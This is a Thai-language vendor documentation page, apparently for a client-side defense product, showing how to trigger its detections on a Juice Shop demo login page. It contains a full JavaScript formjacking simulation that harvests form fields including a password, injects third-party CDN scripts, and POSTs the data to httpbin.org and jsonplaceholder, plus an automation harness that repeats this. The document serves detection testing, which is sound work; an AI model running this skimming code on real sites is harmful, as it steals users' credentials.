ข้ามไปยังเนื้อหา
การป้องกันฝั่งไคลเอนต์

การตรวจจับทริกเกอร์

การตรวจจับทริกเกอร์

หัวข้อที่มีชื่อว่า “การตรวจจับทริกเกอร์”

CSD ตรวจสอบพฤติกรรม JavaScript ภายในเบราว์เซอร์ ต่างจาก ไฟร์วอลล์แอปเว็บ (WAF) หรือการป้องกัน Bot มาตรฐาน คุณไม่สามารถทริกเกอร์การตรวจจับ CSD ด้วยคำสั่ง curl ได้ — จำเป็นต้องใช้กิจกรรมสคริปต์จริงฝั่งเบราว์เซอร์ สคริปต์รวมต่อไปนี้จะทริกเกอร์สัญญาณการตรวจจับ CSD ทั้งสามในการรันครั้งเดียว: การเก็บเกี่ยวฟิลด์แบบฟอร์ม การฉีดสคริปต์จากบุคคลที่สามจากโดเมน CDN หลายแห่ง และการกรองข้อมูลไปยังปลายทางภายนอก

เรียกใช้สคริปต์จำลองรวม

หัวข้อที่มีชื่อว่า “เรียกใช้สคริปต์จำลองรวม”

  1. ไปที่ หน้าเข้าสู่ระบบ ของ Juice Shop ที่ https://botdemo.sales-demo.f5demos.com/#/login

  2. ป้อนข้อมูลรับรองทดสอบในฟิลด์แบบฟอร์ม — พิมพ์ test@example.com ในฟิลด์ Email และ P@ssword123 ในฟิลด์ Password (อย่ากดส่งแบบฟอร์ม)

  3. เปิด DevTools (F12 → แท็บ Console)

    Empty DevTools Console ready for script inputEmpty DevTools Console ready for script input

  4. วางสคริปต์ต่อไปนี้ลงในคอนโซลแล้วกด Enter — สคริปต์จะรันโดยอัตโนมัติในรูปแบบฟังก์ชันที่รันเองได้

    Combined Detection Script
    // CSD Demo — Combined Detection Script
    // Triggers ALL CSD detection signals: field reads, script injection, exfiltration
    (function() {
        console.log('='.repeat(50));
        console.log('[CSD Demo] Combined Detection Script — Starting');
        console.log('='.repeat(50));
    

        // Phase 1: Harvest all form fields (CSD tracks field reads on page-load DOM fields)
        console.log('\n[Formjack] Phase 1: Form field harvesting');
        var inputs = document.querySelectorAll('input');
        var harvested = {};
        inputs.forEach(function(input) {
            var name = input.name || input.id || input.type;
            harvested[name] = input.value || '(empty)';
        });
        console.log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
    

        // Phase 2: Inject third-party scripts from 4 CDN domains
        console.log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
        var cdns = [
            { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
            { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
            { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
            { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
        ];
        cdns.forEach(function(cdn) {
            var script = document.createElement('script');
            script.src = cdn.url;
            script.onload = function() {
                console.log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);
            };
            script.onerror = function() {
                console.log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url);
            };
            document.head.appendChild(script);
            console.log('[Supply Chain] Injected script tag: ' + cdn.name);
        });
    

        // Phase 3: Exfiltrate harvested data to external endpoints
        console.log('\n[Exfil] Phase 3: Data exfiltration');
        var payload = JSON.stringify({
            type: 'combined_demo',
            credentials: harvested,
            page: window.location.href,
            timestamp: Date.now()
        });
    

        fetch('https://www.httpbin.org/post', {
            method: 'POST',
            mode: 'no-cors',
            body: payload
        }).then(function() {
            console.log('[Exfil] Data sent to www.httpbin.org');
        });
    

        fetch('https://jsonplaceholder.typicode.com/posts', {
            method: 'POST',
            mode: 'no-cors',
            headers: { 'Content-Type': 'application/json' },
            body: payload
        }).then(function() {
            console.log('[Exfil] Data sent to jsonplaceholder.typicode.com');
        });
    

        // Summary
        console.log('\n' + '='.repeat(50));
        console.log('[CSD Demo] Simulation complete');
        console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
        console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (4 CDN domains)');
        console.log('[CSD Demo] Exfil channels: 2 (fetch POST)');
        console.log('[CSD Demo] Detection takes 5-10 minutes to appear in the CSD console.');
        console.log('='.repeat(50));
    })();

  5. สังเกตผลลัพธ์คอนโซล [CSD Demo] แบบเป็นระยะที่ยืนยันแต่ละขั้นตอน: การเก็บเกี่ยวฟิลด์ การฉีดสคริปต์จาก 4 โดเมน CDN และการกรองข้อมูล esm.sh ให้บริการไวยากรณ์ ES module (export default …) — เมื่อโหลดเป็นแท็ก <script> แบบคลาสสิกจะเกิด Uncaught SyntaxError: Cannot use import statement outside a module ซึ่งเป็นพฤติกรรมที่คาดไว้และไม่ส่งผลต่อการตรวจจับของ CSD (แท็กสคริปต์ยังคงถูกฉีดและคำขอเครือข่ายยังคงถูกส่ง)

    Console output after running the simulation scriptConsole output after running the simulation script

การรันอัตโนมัติด้วย AI

หัวข้อที่มีชื่อว่า “การรันอัตโนมัติด้วย AI”

ผู้ช่วย AI ที่มีเครื่องมือการทำงานอัตโนมัติบนเบราว์เซอร์ (MCP Chrome DevTools, Playwright, Puppeteer) จะรันการจำลองโดยอัตโนมัติแทนการทำตามขั้นตอนด้วยตนเองด้านบน:

  1. นำทางด้วย initScript — นำทางไปที่ about:blank ก่อนเพื่อให้แน่ใจว่ามีบริบทเอกสารที่สะอาด จากนั้น navigate_page ไปยัง URL หน้าเข้าสู่ระบบ (เช่น http://$F5XC_DOMAINNAME/#/login) โดยใช้ initScript ที่บันทึก setInterval, clearInterval, fetch และ console.log แบบ native ก่อนที่ zone.js จะ patch จากนั้น poll ฟิลด์แบบฟอร์มเข้าสู่ระบบ กรอกข้อมูลรับรองผ่าน native HTMLInputElement.prototype.value setter และรันสคริปต์การตรวจจับรวมแบบ inline ทันที ใช้ initScript ที่เหมือนกันทุกประการด้านล่าง
  2. ปิดแบนเนอร์ต้อนรับ — press_key ด้วย Escape เพื่อปิดแบนเนอร์ต้อนรับ ในการเข้าชมครั้งต่อๆ ไปแบนเนอร์อาจไม่ปรากฏ (คุกกี้ถูกเก็บไว้)
  3. รอให้เสร็จสิ้น — รอ 10 วินาทีเพื่อให้ callbacks การโหลด/ข้อผิดพลาดของสคริปต์ CDN ทั้งหมดและการแก้ไข Promise ของ fetch เสร็จสมบูรณ์
  4. เก็บหลักฐาน — list_console_messages เพื่อตรวจสอบ [CSD Demo] Simulation complete; list_network_requests กรองตามประเภท script และ fetch เพื่อตรวจสอบรหัสสถานะ HTTP

harness initScript (เหมือนกันทุกประการ — ห่อสคริปต์การตรวจจับรวมสำหรับการรันอัตโนมัติ):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);


// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
  var emailEl = document.querySelector('input[type="email"]');
  var passEl  = document.querySelector('input[type="password"]');
  if (emailEl && passEl) {
    _ci(_poll);
    // Fill credentials via native setter (bypasses zone.js)
    var nativeSet = Object.getOwnPropertyDescriptor(
      window.HTMLInputElement.prototype, 'value').set;
    nativeSet.call(emailEl, 'test@example.com');
    emailEl.dispatchEvent(new Event('input', { bubbles: true }));
    nativeSet.call(passEl, 'P@ssword123');
    passEl.dispatchEvent(new Event('input', { bubbles: true }));


    // Run Combined Detection Script inline using native fetch for exfil
    (function() {
      _log('==================================================');
      _log('[CSD Demo] Combined Detection Script — Starting');
      _log('==================================================');


      _log('\n[Formjack] Phase 1: Form field harvesting');
      var inputs = document.querySelectorAll('input');
      var harvested = {};
      inputs.forEach(function(input) {
        var name = input.name || input.id || input.type;
        harvested[name] = input.value || '(empty)';
      });
      _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);


      _log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
      var cdns = [
        { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
        { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
        { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
        { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
      ];
      cdns.forEach(function(cdn) {
        var script = document.createElement('script');
        script.src = cdn.url;
        script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
        script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
        document.head.appendChild(script);
        _log('[Supply Chain] Injected script tag: ' + cdn.name);
      });


      _log('\n[Exfil] Phase 3: Data exfiltration');
      var payload = JSON.stringify({
        type: 'combined_demo', credentials: harvested,
        page: window.location.href, timestamp: Date.now()
      });
      _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
        .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
      _fetch('https://jsonplaceholder.typicode.com/posts', {
        method: 'POST', mode: 'no-cors',
        headers: { 'Content-Type': 'application/json' }, body: payload
      }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });


      _log('\n==================================================');
      _log('[CSD Demo] Simulation complete');
      _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
      _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
      _log('[CSD Demo] Exfil channels: 2 (fetch POST)');
      _log('==================================================');
    })();
  }
}, 300);

หมายเหตุเกี่ยวกับ native fetch: harness นี้บันทึก window.fetch.bind(window) เพื่อหลีกเลี่ยงข้อผิดพลาดของ zone.js ซึ่งเป็นพฤติกรรมที่ถูกต้องสำหรับทุกระยะการจำลองการโจมตี การบรรเทาของ CSD บล็อกการโหลดสคริปต์ (โดยล้างค่า src ของแท็ก <script>) ไม่ใช่การเรียก fetch() ดังนั้นการบันทึกการอ้างอิง fetch แบบ native จึงไม่ส่งผลต่อพฤติกรรมการบรรเทา initScript เดียวกันนี้ใช้สำหรับ Phase 2 และ Phase 3

ผู้ดำเนินการที่ไม่มีเครื่องมือการทำงานอัตโนมัติบนเบราว์เซอร์ให้ใช้ขั้นตอนด้วยตนเองด้านบน

สิ่งที่สคริปต์ทำ

หัวข้อที่มีชื่อว่า “สิ่งที่สคริปต์ทำ”

การจำลองรวมทริกเกอร์สัญญาณการตรวจจับ CSD ทั้งสาม:

พฤติกรรมสิ่งที่สคริปต์ทำสิ่งที่ CSD เห็น
การเก็บเกี่ยวฟิลด์อ่านค่าจากองค์ประกอบ input ที่มีอยู่ (email, password)สคริปต์อ่านฟิลด์แบบฟอร์มที่ละเอียดอ่อน — ถูกตั้งค่าสถานะว่ามีความเสี่ยงสูง
การฉีดสคริปต์เพิ่มแท็ก <script> จำนวน 4 รายการที่โหลดจาก cdn.jsdelivr.net, esm.sh, unpkg.com และ ga.jspm.io4 โดเมนสคริปต์บุคคลที่สามใหม่บนหน้า
การกรองข้อมูลส่งข้อมูลที่เก็บเกี่ยวได้ผ่าน fetch ไปยัง www.httpbin.org และ jsonplaceholder.typicode.comการเรียกเครือข่ายไปยังโดเมนภายนอก (หมายเหตุ: ปลายทาง fetch ปรากฏเป็นการโต้ตอบเครือข่ายของสคริปต์ ไม่ใช่ในมุมมองโดเมนเครือข่าย)

การจำลองขั้นสูง

หัวข้อที่มีชื่อว่า “การจำลองขั้นสูง”

สคริปต์รวมด้านบนเป็นเวอร์ชันแบบ 3 ระยะที่เรียบง่าย (เก็บเกี่ยว ฉีด กรองข้อมูล) เหมาะสำหรับการสาธิตส่วนใหญ่ คลังสคริปต์การโจมตี มีสคริปต์เป้าหมาย 10 รายการจัดเรียงตามประเภทการโจมตี รวมถึงการทดสอบความเครียด Maximum Detection ที่เพิ่มการจัดการ DOM การกรองคุกกี้ และช่องทาง image beacon เพิ่มเติมจากความครอบคลุมของสคริปต์รวม ใช้สคริปต์แต่ละรายการเพื่อสาธิตหมวดหมู่การโจมตีเฉพาะ (formjacking, digital skimming, supply chain injection, data exfiltration, DOM manipulation) แยกกัน